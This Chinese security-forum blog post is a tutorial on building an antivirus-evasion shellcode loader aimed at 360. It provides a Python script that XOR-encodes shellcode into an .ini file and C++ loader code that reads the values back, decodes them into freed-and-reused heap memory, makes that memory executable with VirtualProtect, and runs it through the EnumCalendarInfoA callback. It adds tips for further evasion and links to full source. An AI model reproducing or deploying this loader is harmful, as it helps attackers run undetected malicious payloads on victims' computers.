感谢各位师傅们阅读,文章哪有不对的,希望师傅们提出来呀
先看效果图
本文涉及到的知识如下:
1. windows api(至于这些api的参数这里就不讲了,师傅们可以自行docs.microsoft.com去搜索)
GetPrivateProfileIntA 这个api用来获取我们加密过后的shellcode(这个api返回值为uint)
GetCurrentDirectoryA 该api是获取当前程序所在目录
GetProcAddress 获取某个dll中的某个函数地址
GetModuleHandleA 获取某个模块的句柄
VirtualProtect 可以把内存变更为可执行
malloc申请内存
itoa 功能:比如把 1 变为 '1'
EnumCalendarInfoA 这个api我们只用得着第一个参数,就是回调函数,利用它来执行我们的shellcode
GetPrivateProfileIntA这个api我举个例子
在1.ini这个配置文件中,[key]以下的被称之为“部分“,abc称之为键,123为值,GetPrivateProfileIntA就是获取其整数值(用这个api主要是因为我把shellcode全转化成了整数),这个用c++进行写入加密后的shellcode不怎么方便,所以我选择用Python进行写入文件
2. UAF :这里我引用微信公众号红队蓝军的介绍
#include <iostream>
int main()
{
char* p1 = (char*)malloc(sizeof(char*)*10);
memcpy(p1,"hello",10);
printf("p1 addr:%x,p1:%s\n",p1,p1);
free(p1); //释放堆空间
char* p2 = (char*)malloc(sizeof(char*) * 10);
memcpy(p2,"world",10);
printf("p2 addr:%x p1:%s\n",p2,p2);
printf("p1 addr:%x,p1:%s\n", p1, p1);
}
结果如下图:
指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。
紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。
在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。
通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义
3.
加密代码如下:
print("| |__ _ _ _ __ __ _ ___ ___")
print("| '_ \| | | | '_ \ / _` / __/ __|")
print("| |_) | |_| | |_) | (_| \__ \__ \\")
print("|_.__/ \__, | .__/ \__,_|___/___/")
print(" |___/|_|")
shellcode_=b"" #shellcode放在这里
shellcode=[]
for i in shellcode_:
shellcode.append(str(i^1024))
shellcode=",".join(shellcode).split(",")
file=open("sc.ini","w")
file.write("[key]\n")
n=0
for i in shellcode:
file.write(f"{n}={i}\n")
n+=1
file.close()
这里就是通过for循环遍历shellcode,然后异或生成加密后的shellcode最后打卡sc.ini文件写入shellcode(这里师傅们能看懂吧?)
脚本执行完后ini配置文件长这样,等号后面的值就是我们把shellcode异或加密后的整数值
上面是简单的加密方式,师傅们可以自己魔改哦,像ctf密码学中的凯撒密码和隐写这类的都可以用到免杀中
接下来写加载器加载shellcode就行了,这里我用的回调函数执行shellcode,api是EnumCalendarInfoA的第一个参数
这里调用api我都是利用GetProcAddress这个api获取函数地址,函数指针进行调用的 **(笔者我这里开始是想利用IAT表获取GetProcAddress函数地址,再利用函数指针调用GetProcAddress获取其他函数的地址,但我这里获取GetProcAddress地址调用后程序会报错) ,所以我是用的GetProcAddress函数获取getprocaddress地址(套娃,不过没啥用)
这里把写入shellcode后的ini配置文件和程序放在一起,利用GetCurrentDirectoryA获取当前程序的所在目录,利用strcat函数把目录和sc.ini文件名拼接在一起,就得到了sc.ini的完整路径,如下图所示
随后我们只需要循环调用GetPrivateProfileIntA获取值进行解密即可
unsigned int bt[3000];
char buf[3000];
for (int i = 0; i < 3000; i++) {
_itoa_s(i, buf, 10);
UINT k = GetFileIntA("key",buf, NULL, PATH);
bt[i] = k;
}
_itoa_s和itoa是一样的,只不过在vs中用itoa会报错,要用_itoa_s,
其中GetFileIntA是我们之前typedef定义的
typedef UINT(WINAPI* GetfileInt)(
LPCSTR LPAPPNAME,
LPCSTR KEYNAME,
INT DEFINE,
LPCSTR FILENAME
);
GetfileInt GetFileIntA = (GetfileInt)GetFuncAddr(
GetModuleHandleA("kernel32.dll"),
"GetPrivateProfileIntA"
);
这里为什么用到itoa函数,是因为GetPrivateProfileIntA的参数是LPCSTR类型(其实就是我们熟悉的char*),在上面我们生成的sc.ini文件是1=1098这种类型的,所以传入的参数得一一对应,传入“1“即可获取1098这个值,所以我们直接利用itoa把1变成“1“,这样就方便了许多,利用for循环把shellcode放入bt这个数组里
拿到shellcode后,接下来就是前面提到过的UAF(对免杀有没有帮助这个我不知道,既然学到了,那就用上呗)
typedef BOOL(WINAPI* EnumInfo)(
CALINFO_ENUMPROCA proc,
LCIDEocale,
CALID Calender,
CALTYPE Type
);
typedef BOOL(WINAPI* Exchange_)(
LPVOID lpAddress,
SIZE_T DWsIZE,
DWORD New,
PDWORD Old
);
typedef FARPROC(WINAPI* GetFuncAddr_)(
HMODULE hmod,
LPCSTR lpName
);
GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"GetProcAddress"
);
Exchange_ exchange_ = (Exchange_)GetFuncAddr(
GetModuleHandleA("kernel32.dll"),
"VirtualProtect"
);
EnumInfo EnumInfoA = (EnumInfo)GetFuncAddr(
GetModuleHandleA("Kernel32.dll"),
"EnumCalendarInfoA"
);
unsigned char* a = (unsigned char*)malloc(sizeof(bt));
free(a);
unsigned char* b = (unsigned char*)malloc(sizeof(bt));
for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) {
b[i] = (unsigned char)(bt[i] ^ 1024);
}
DWORD p;
exchange_(a, sizeof(a), 0x40,&p);
EnumInfoA((CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE);
这个我写的加载器,算比较简单吧,就是回调函数执行shellcode,代码中的exchange_函数和EnumInfoA函数是之前typedef定义好的,
我们申请了a和b两个内存,释放了a,因为UAF(上面解释得有),虽说a释放了,但a的值却和b相同,所以我们把之前存到bt数组里的shellcode异或解密并且强制类型转换成unsigned char类型写入b内存里
随后用exchange*(virtualprotect)这个函数把a内存属性改为可执行,exchange*(a, sizeof(a), 0x40,&p); 然后利用回调函数执行a(因为a和b的值是相同的)
这是EnumCalendarInfoA函数的参数,只有第一个参数是重要的,回调函数(其实就是函数指针),其余参数跟着文档填即可(这种函数很多,师傅们多找找一些知名度低的,免杀效果会好不少的喔!)
完整代码
完整代码我发在了github平台上,地址https://github.com/wz-wsl/360-bypass
结尾
一个小思路:
windows有个api叫PathFindFileName,作用是获取当前程序的名字,这里我们可以把名字换成shellcode,利用这个api获取shellcode,不过需要注意的是windows下文件名最长为260个字符,所以我们可以把一半shellcode当成文件名,剩下的shellcode就利用其它方法呀
这里我收集了一些申请内存的api
GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
VirtualAlloc
VirtualAllocEx
ReallocADsMem AllocADsMem
CoTaskMenAlloc
希望能帮到师傅们!
- 本文作者: 旺崽
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1805
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!